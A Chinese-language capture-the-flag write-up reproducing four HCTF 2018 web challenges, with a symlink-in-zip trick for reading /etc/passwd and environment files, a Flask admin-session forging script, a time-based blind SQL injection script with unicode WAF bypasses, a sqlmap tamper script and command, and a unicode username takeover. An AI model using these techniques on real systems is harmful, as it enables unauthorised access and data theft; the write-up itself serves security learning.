hctf2018wp复现
1、bottle
登陆网站后存在提交url的地方
测试发生存在如下paload,知识点:1、crlf 2、写一个网站开发的端口小于80,浏览器就不会跳转能执行js(payload只能在火狐浏览器执行):
验证码部分可以生成1-10000的Md5值 ,构造如下payload:
下面这个图就是打到自己的cookie。如果将这个payload提交到url那里,也就是xss bot存在的地方 就能打到管理员的cookie:
2、hide and seek
软链漏洞:
ln -s /etc/passwd 1.txt
zip -y 1.zip 1.txt
就能得到/etc/passwd源码
ln -s /proc/self/environ 1.txt
zip -y 1.zip 1.txt
得到配置
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 1.txt
zip -y 1.zip 1.txt
把1.zip上传就能拿到源码 当已知flask的secret_key已知时就能伪造管理员的session
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
得到secret_key=11.935137566861131 伪造admin session的脚本:
import hmac
from hashlib import sha1
from itsdangerous import * def session_serializer(secret_key):
signer_kwargs = dict(
key_derivation='hmac',
digest_method=sha1
)
Serializer = URLSafeTimedSerializer(secret_key, salt='cookie-session',
signer_kwargs=signer_kwargs)
data = {'username': 'admin'}
return Serializer.dumps(data) if __name__ == '__main__':
secret_key = '11.935137566861131'
print session_serializer(secret_key)
该cookie通过.分割,分成了三部分:内容序列化+时间+防篡改值https://www.aliyun.com/jiaocheng/491548.html
3、kzone学到的知识点
json_decode可以解析\u0020这样的unicode编码从而绕过waf
注入的时候如果存在大小写敏感可以用binary区分
脚本:
#!/usr/bin/python
#!coding:utf-8#
# xishir
import requests
import time
import datetime #hctf{4526a8cbd741b3f790f95ad32c2514b9} ss = "{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-+"
r = requests.session()
url = "http://kzone.2018.hctf.io/admin/"
#url="http://127.0.0.1/hctf/www/admin/" union = '\u00'+str(hex(ord('u')))[2:]+'nion'
sleep = '\u00'+str(hex(ord('s')))[2:]+'leep'
ascii = '\u00'+str(hex(ord('a')))[2:]+'scii'
ok = '\u00'+str(hex(ord('=')))[2:]
substr = '\u00'+str(hex(ord('s')))[2:]+'ubstr'
over = '\u00'+str(hex(ord('#')))[2:]
blank = "/**/"
orr = '\u00'+str(hex(ord('o')))[2:]+'r' flag=""
for i in range(1,50):
print i
for j in ss:
payload = "admin' and (substr((select binary F1a9 from F1444g limit 1),"+str(i)+",1)='"+str(j)+"') and sleep(4) and 1='1" payload = payload.replace('sleep',sleep)
payload = payload.replace('union',union)
payload = payload.replace('=',ok)
payload = payload.replace('#',over)
payload = payload.replace(' ',blank)
payload = payload.replace('ascii',ascii)
payload = payload.replace('substr',substr)
payload = payload.replace('or',orr) jsons = '{"admin_user":"'+payload+'","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}' cookie={"PHPSESSID":"t0k91etf5fecbi4t25d7hprtm3",
"islogin":"",
"login_data":jsons} t1=time.time()
r1 = r.get("http://kzone.2018.hctf.io",cookies=cookie)
t2=time.time()
#print t2
if (t2-t1)>4:
#print "aaaaaaaa"
flag+=str(j)
print i,flag
break
通过sqlmap注入看flagpig的文章:https://xz.aliyun.com/t/3245#toc-4
a.txt的数据包:注入的位置用*号代替
POST /admin/list.php HTTP/1.1
Host: kzone..hctf.io
Content-Length:
Cache-Control: max-age=
Origin: http://kzone..hctf.io
Upgrade-Insecure-Requests:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://kzone..hctf.io/admin/login.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _ga=GA1.2.741104145.; _gid=GA1.2.1399152972.; PHPSESSID=07hcqdlsdk80c1o2bgjp5r32e3;; islogin=; login_data=*
Connection: close user=&pass=&login=Login
hctf.py脚本放到tamper目录下
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW def dependencies():
pass def tamper(payload, **kwargs):
data = '''{"admin_user":"admin%s","admin_pass":65};'''
payload = payload.lower()
payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'','\u0027')
payload = payload.replace('"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1', 'F1')
return data % payload
sqlmap -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string="window.location" -v3 -D hctf_kouzone -T F1444g -C F1a9 --dump
出数据
https://www.anquanke.com/post/id/163958
4、admin
存在flask伪造admin的解法。https://www.anquanke.com/post/id/164086
def strlower(username):
username = nodeprep.prepare(username)
return username
unicode安全问题
注册一个ᴬdmin账号
登陆ᴬdmin,发现页面显示Admin
修改密码,退出登录
参考链接:
https://www.jianshu.com/p/8f5ba751aa0f
https://xz.aliyun.com/t/3255#toc-7
http://wiki.ioin.in/post/group/18NJ
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